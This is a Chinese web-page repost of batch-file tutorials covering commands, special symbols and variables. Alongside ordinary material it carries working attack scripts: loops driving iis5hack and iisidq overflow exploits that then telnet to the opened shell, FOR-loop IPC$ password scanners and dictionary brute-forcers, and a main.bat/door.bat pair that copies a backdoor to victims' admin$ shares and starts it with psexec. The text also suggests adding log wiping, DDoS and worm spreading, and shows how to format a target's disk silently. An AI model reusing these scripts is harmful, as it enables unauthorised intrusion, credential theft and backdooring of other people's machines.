OOFFSETPATH????/察看环境变量PATHPAUSESETLOCALSETPATH=E:\TOOLS??/重新设置环境变量PATHSETPATHPAUSEENDLOCALSETPATH从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。9、????SHIFTSHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:ECHOOFFECHO%1%2%3%4%5%6%7%8%9SHIFTECHO%1%2%3%4%5%6%7%8%9SHIFTECHO%1%2%3%4%5%6%7%8%9执行结果如下:C::\>SHIFT.BAT1234567891011123456789234567891034567891011以上就是基于WIN2000下的9个批处理命令。第二部分:特殊的符号与批处理在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。1、????符号(@)@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echooff可以关掉整个批处理的命令回显但却不能不显示echooff这个命令。现在我们在这个命令前加上@这样echooff这一命令就被@关闭了回显从而达到所有命令均不回显得要求2、????符号(>)>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:文件1.txt的文件内容为:1+1使用命令c:\>dir.txt>1.txt这时候1.txt的内容如下驱动器C中的卷没有标签。卷的序列号是301A-1508C:\的目录2003-03-1114:04????????1,005FRUNLOG.TXT2003-04-0416:38????18,598,494log.txt2003-04-0417:02????????51.txt2003-03-1211:43????????0aierrorlog.txt2003-03-3000:35????????30,571202.108.txt??????5个文件??18,630,070字节??????0个目录1,191,542,784可用字节>将命令执行的结果覆盖了原始的文件内容。在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echooff关掉的回显不是同一概念。Echooff关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:C:\>dir.txt>nul程序将没有任何显示也不会产生任何痕迹。3、????符号(>>)符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:文件1.txt内同为:1+1使用命令c:\>dir.txt>>1.txt这时候1.txt的内容如下1+1驱动器C中的卷没有标签。卷的序列号是301A-1508C:\的目录2003-03-1114:04????????1,005FRUNLOG.TXT2003-04-0416:38????18,598,494log.txt2003-04-0417:02????????51.txt2003-03-1211:43????????0aierrorlog.txt2003-03-3000:35????????30,571202.108.txt??????5个文件??18,630,070字节??????0个目录1,191,542,784可用字节>>将命令执行的结果覆加在了原始的文件内容后面。4、????符号(|)|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:C:\>dirc:\|find"1508"卷的序列号是301A-1508以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用find/?自行查看在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的echoy|fornata:/s/q/v:system用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echoy并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)5、????符号(^)^是对特殊符号>、<、&、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:c:\>echotest^>1.txttest>1.txt从上面可以看出并没有把test写入文件1.txt而是将test>1.txt当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。6、????符号(&)&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:c:\>dirz:\&diry:\&dirc:\以上的命令将会连续显示z:y:c:盘内的内容不理会该盘符是否存在。7、????符号(&&)&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:c:\>dirz:\&&diry:\&&dirc:\以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令8、????符号("")""符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:c:\>cd“ProgramFiles”c:\>cdprogra~1c:\>cdpro以上方法都可以进入ProgramFiles目录9、????符号(,),符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:c:\>dir,c:\10、????符号(;);符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:DIRC:\;D:\;E:\F:\以上的命令相当于DIRC:\DIRD:\DIRE:\DIRF:\当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。第三部分:批处理与变量在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:C::\>SHIFT.BAT1234567891011SHIFT.BAT12345678912345678910234567891011系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:批处理内容为:ECHO%1ECHO%2ECHO%3输入命令:C:\>TEST“ProgramFiles”ProgramFilesProgramFilesProgramFiles在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如SETA=%1这样我们就命名了一个新的环境变量A在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:ECHOOFFSETPASS=%1SHIFTSETPASS1=%1SHIFTECHO%PASS%%PASS1%%1%2%3%4%5%6%7%8%9SHIFTECHO%PASS%%PASS1%%9SETPASS=%PASS1%????变量的传递SETPASS1=%9SHIFTECHO%PASS%%PASS1%%9使用命令:C:\>TESTAB345678910KLAB345678910K注意:这一行显示了11个变量ABL????????在使用了3次SHIFT之后%9变成了LBL????????变量的传递后的结果第四部分:完整案例以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/后面。例一这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为:iis5hack<目标ip><目标端口><目标版本><溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为开始版本号可有可无。程序如下。@echooff????????????/关闭命令回显if"%1%"==""gotohelp????????/判断%1是否为空,%1为目标ipif"%2%"=="1"goto1????????/判断%2是否为1,为1则跳转标志1if"%2%"=="2"goto2????????/%2为开始版本号,如果没有设置则if"%2%"=="3"goto3????????/如果存在则从匹配的地方开始执行if"%2%"=="4"goto4if"%2%"=="5"goto5if"%2%"=="6"goto6if"%2%"=="7"goto7if"%2%"=="8"goto8ifnotEXISTiis5hack.exegotofile/没有发现iis5hack.exe就执行标志file段内容ping%1-n1|find"Received=1"/ping目标1次,从结果中发现Received=1iferrorlevel1gotoerror????/如果返回代码为1则执行error段(代码1为没有发现0为发现并成功执行)iis5hack%180988|find"good"/开始溢出目标端口80系统代码9溢出后连接端口88在执行结果中发现字符串”good”(溢出成功后才会有字符串good)ifnoterrorlevel1gototelnet????/如果没有错误代码1(溢出成功)就执行telnet段的内容。echo操作系统类型9失败!??/否则显示这一句:8????????????/以下代码内容参照上面iis5hack%180888|find"good"ifnoterrorlevel1gototelnetecho操作系统类型8失败!:7iis5hack%180788|find"good"ifnoterrorlevel1gototelnetecho操作系统类型7失败!:6iis5hack%180688|find"good"ifnoterrorlevel1gototelnetecho操作系统类型6失败!:5iis5hack%180588|find"good"ifnoterrorlevel1gototelnetecho操作系统类型5失败!:4iis5hack%180488|find"good"ifnoterrorlevel1gototelnetecho操作系统类型4失败!:3iis5hack%180388|find"good"ifnoterrorlevel1gototelnetecho操作系统类型3失败!:2iis5hack%180288|find"good"ifnoterrorlevel1gototelnetecho操作系统类型2失败!:1iis5hack%180188|find"good"ifnoterrorlevel1gototelnetecho操作系统类型1失败!:0iis5hack%180088|find"good"ifnoterrorlevel1gototelnetecho操作系统类型0失败!gotoerror:telnettelnet%188??????????/开始连接目标ip的88端口gotoexit????????????/连接中断后跳转exit段:error????????????/error段显示错误后的帮助信息echo可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!echoiis5hack[目标IP][WEB端口][系统类型][开放端口]ECHO中文:??????0ECHO中文+sp1:????1ECHO英文:??????2ECHO英文+sp1:????3ECHO日语:??????4ECHO日语+sp1:????5ECHO韩文:??????6ECHO韩文+sp1:????7ECHO墨西哥语:????8ECHO墨西哥语+sp1:??9gotoexit????/跳转exit段:file????????/file段显示文件没有发现的信息echo文件iis5hack.exe没有发现!程序终止运行!gotoexit????/跳转exit段:help??????/help段显示本批处理的使用格式帮助echo本程序用法如下:echoiis[目标ip]echoiis[目标ip][开始的号码9-0]:exit????????/exit段为程序出口这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!例二这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:运行参数:操作系统类型目的地址web端口1溢出监听端口<输入命令1>??其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为程序如下:@echooff??????????/同例一ifnotEXISTiisidq.exegotofile??/同例一if%1==""gotoerror??????/同例一ping%1-n1|find"Received=1"??/同例一iferrorlevel1gotoerror1????/同例一setb=%1????/创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ipseta=0??????/创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。:no????????/no段开始if%a%==0setd=0/如果环境变量a=0则创建环境变量d设定环境变量d=0。if%a%==1setd=1/环境变量d其实是操作系统类型代码,用计数器来控制其if%a%==2setd=2/变动。if%a%==3setd=3if%a%==4setd=4if%a%==5setd=5if%a%==6setd=6if%a%==7setd=7if%a%==9setd=9if%a%==10setd=13if%a%==11setd=14goto0????????/变量传递完成后转到标志0处运行:1echo正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......:0????????/标志0开始IISIDQ%d%%b%80199|find"good"/按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)iferrorlevel1goto1??????/如果没有good字符串则没有发送成跳/转标志1处继续尝试发送ping127.0.0.1-n8>nul????/ping自己8次相当于延时8秒不显示执/行结果echo正在执行第%d%项!????/报告正在溢出的操作系统类型telnet%b%99????????/连接溢出端口echo.????????????/显示一个空行if%d%==14gotoerror1??/如果操作系统类型为14则跳转error1处(循环出口)if%d%==13seta=11??????/开始用计数器对操作系统代码重新附值if%d%==9seta=10if%d%==7seta=9if%d%==6seta=7if%d%==5seta=6if%d%==4seta=5if%d%==3seta=4if%d%==2seta=3if%d%==1seta=2if%d%==0seta=1gotono????????????/附值完成跳转no段执行:file??????????????/以下都是出错后的帮助提示echoIIsidq.exe没有发现!将该文件和本文件放在同一目录!gotoexit:errorecho错误!目标ip不可识别!请使用下面的格式连接!echoidq[目标IP]gotoexit:error1echo连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!echo请按照下面的格式手工尝试!echoiisidq[目标类型][目标IP][目标端口][连接方式][溢出端口]echotelnet[目标ip][溢出端口]:exit????????????/整个程序的出口这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。例三for/l%%ain(0,1,255)dofor/l%%bin(0,1,255)dofor/l%%cin(1,1,254)dofor/f"tokens=1,2"%%ein(userpass.txt)donetuse\\%1.%%a.%%b.%%c\ipc$%%e/u:%%f上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT218当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令(这里我把上面的值都带进去,设密码为123用户名为abc)netusr\\218.0.0.1\ipc$123/u:abc当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!后记:批处理的语法其实很简单,但需要灵活的运用。希望这篇教程能让大家以后都熟练的使用批处理,一些基本的问题可以自己的能力去解决。这样我的目的也就达到了!!哈哈!大家快乐才是真的快乐

?

?

批处理命令







echo、@、call、pause、rem是批处理文件最常用的几个命令,我们就从他们开始学起。echo表示显示此命令后的字符echooff表示在此语句后所有运行的命令都不显示命令行本身@与echooff相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。call调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause运行此句会暂停,显示Pressanykeytocontinue...等待用户按任意键后继续rem表示此命令后的字符为解释行,不执行,只是给自己今后查找用的例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。批处理文件的内容为:文件表示:echooff不显示命令行dirc:\.>a.txt将c盘文件列表写入a.txtcallc:\ucdos\ucdos.bat调用ucdosecho你好显示"你好"pause暂停,等待按键继续rem使用wps注释将使用wpscducdos进入ucdos目录wps使用wps批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从%0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。例如,C:根目录下一批处理文件名为f.bat,内容为format%1则如果执行C:\>fa:则实际执行的是formata:又如C:根目录下一批处理文件的名为t.bat,内容为type%1type%2那么运行C:\>ta.txtb.txt将顺序地显示a.txt和b.txt文件的内容ifgotochoicefor是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"formata:2、ifexist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如ifexistconfig.syseditconfig.sys3、iferrorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如iferrorlevel2gotox2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码goto批处理文件运行到这里将跳到goto所指定的标号处,一般与if配合使用。如:gotoend:endechothisistheend标号用:字符串表示,标号所在行不被执行choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……如:choice/c:dmedefrag,mem,end将显示defrag,mem,end[D,M,E]?例如,test.bat的内容如下:@echooffchoice/c:dmedefrag,mem,endiferrorlevel3gotodefrag应先判断数值最高的错误码iferrorlevel2gotomemiferrotlevel1gotoend:defragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。for循环命令,只要条件符合,它将多次执行同一命令。格式FOR[%%f]in(集合)DO[命令]只要参数f在指定的集合内,则条件成立,执行命令如果一条批处理文件中有一行:for%%cin(.bat.txt)dotype%%c含义是如果是以bat或txt结尾的文件,则显示文件的内容。DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如:path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、doskey(键盘管理)、set(设置环境变量)等。如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。例如,一个典型的autoexec.bat内容如下:@echooff不显示命令行prompt$p$g设置提示符前有目录提示pathc:\dos;c:\;c:\windows;c:\ucdos;c:\tools设置路径lhc:\dos\doskey.com加载键盘管理lhc:\mouse\mouse.com加载鼠标管理lhc:\dos\smartdrv.exe加载磁盘加速管理lhc:\dos\mscdex/S/D:MSCD000/M:12/V加载CD-ROM驱动settemp=c:\temp设置临时目录

?

?

批处理命令大全2







1.Echo命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo命令将显示当前回显设置。语法echo[{on|off}][message]Sample:echooff/echohelloworld在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用>>>^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2.@命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample:@echooff@echoNowinitializingtheprogram,pleasewaitaminite...@formatX:/q/u/autoset(format这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)3.Goto命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:gotolabel(label是参数,指定所要转向的批处理程序中的行。)Sample:if{%1}=={}gotonoparmsif{%2}=={}gotonoparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Remcheckparametersifnullshowusage:noparmsechoUsage:monitor.batServerIPPortNumbergotoend标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。4.Rem命令注释命令,在C语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。RemMessageSample:@RemHereisthedescription.5.Pause命令运行Pause命令时,将显示下面的消息:Pressanykeytocontinue...Sample:@echooff:begincopya:.d:\backechoPleaseputanewdiskintodriverApausegotobegin在这个例子中,驱动器A中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。6.Call命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。语法call[[Drive:][Path]FileName[BatchParameters]][:label[arguments]]参数[Drive:}[Path]FileName指定要调用的批处理程序的位置和名称。filename参数必须具有.bat或.cmd扩展名。7.start命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数:MIN开始时窗口最小化SEPARATE在分开的空间内开始16位Windows程序HIGH在HIGH优先级类别开始应用程序REALTIME在REALTIME优先级类别开始应用程序WAIT启动应用程序并等候它结束parameters这些为传送到命令/程序的参数执行的应用程序是32-位GUI应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice命令choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……如:choice/c:dmedefrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下:@echooffchoice/c:dmedefrag,mem,endiferrorlevel3gotodefrag(应先判断数值最高的错误码)iferrorlevel2gotomemiferrotlevel1gotoend:defragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。9.If命令if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"formata:if{%1}=={}gotonoparmsif{%2}=={}gotonoparms2、ifexist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如ifexistconfig.syseditconfig.sys3、iferrorlevel/ifnoterrorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如iferrorlevel2gotox2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。10.for命令for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用FOR命令时,指定变量请使用%%variablefor{%variable|%%variable}in(set)docommand[CommandLineOptions]%variable指定一个单一字母可替换的参数。(set)指定一个或一组文件。可以使用通配符。command指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同于%I如果命令扩展名被启用,下列额外的FOR命令格式会受到支持:FOR/D%variableIN(set)DOcommand[command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。FOR/R[[drive:]path]%variableIN(set)DOcommand[command-检查以[drive:]path为根的目录树,指向每个目录中的FOR语句。如果在/R后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR/L%variableIN(start,step,end)DOcommand[command-para该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)。FOR/F["options"]%variableIN(file-set)DOcommandFOR/F["options"]%variableIN("string")DOcommandFOR/F["options"]%variableIN(command)DOcommand或者,如果有usebackq选项:FOR/F["options"]%variableIN(file-set)DOcommandFOR/F["options"]%variableIN("string")DOcommandFOR/F["options"]%variableIN(command)DOcommandfilenameset为一个或多个文件名。继续到filenameset中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用For循环。以默认方式,/F通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选"options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:eol=c-指一个行注释字符的结尾(就一个)skip=n-指在文件开始时忽略的行数。delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的格式为一个范围。通过nth符号指定m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称。sample1:FOR/F"eol=;tokens=2,3delims=,"%iin(myfile.txt)docommand会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母z或Z的变量。请记住,FOR变量是单一字母、分大小写和全局的;同时不能有52个以上都在使用中。您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用FOR/F命令来分析命令的输出。方法是,将括号之间的filenameset变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i会枚举当前环境中的环境变量名称。另外,FOR变量参照的替换已被增强。您现在可以使用下列选项语法:~I-删除任何引号("),扩充%I%~fI-将%I扩充到一个完全合格的路径名%~dI-仅将%I扩充到一个驱动器号%~pI-仅将%I扩充到一个路径%~nI-仅将%I扩充到一个文件名%~xI-仅将%I扩充到一个文件扩展名%~sI-扩充的路径只含有短名%~aI-将%I扩充到文件的文件属性%~tI-将%I扩充到文件的日期/时间%~zI-将%I扩充到文件的大小%~$PATH:I-查找列在路径环境变量的目录,并将%I扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI-仅将%I扩充到一个驱动器号和路径%~nxI-仅将%I扩充到一个文件名和扩展名%~fsI-仅将%I扩充到一个带有短名的完整路径名%~dp$PATH:i-查找列在路径环境变量的目录,并将%I扩充到找到的第一个驱动器号和路径。%~ftzaI-将%I扩充到类似输出线路的DIR在以上例子中,%I和PATH可用其他有效数值代替。%~语法用一个有效的FOR变量名终止。选取类似%I的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。sample2:利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用netuse\\ip\ipc$"password"/u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for/fi%in(dict.txt)donetuse\\ip\ipc$"i%"/u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用netuse命令来连接。然后将程序运行结果传递给find命令--for/fi%%in(dict.txt)donetuse\\ip\ipc$"i%%"/u:"administrator"|find":命令成功完成">>D:\ok.txt,这样就ko了。sample3:你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条:(在批处理文件中使用FOR命令时,指定变量使用%%variable)@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i%j%k。而cultivate.bat无非就是用netuse命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(Iferrorlever=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims=表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。代码雏形:---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------@echooff@if"%1"==""gotousage@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k@gotoend:usage@echorunthisbatchindosmodle.orjustdouble-clickit.:end---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------@netuse\\%1\ipc$%3/u:"%2"@iferrorlevel1gotofailed@echoTryingtoestablishtheIPC$connection…………OK@copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt@pec\\%1c:\winnt\system32\windrv32.exe@pec\\%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt:failed@echoSorrycannotconnectedtothevictim.-----------------cutherethensaveasabatchfile(Icallitdoor.bat)-------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.



























献花(0)
+1
(本文系fanhuasijin...首藏)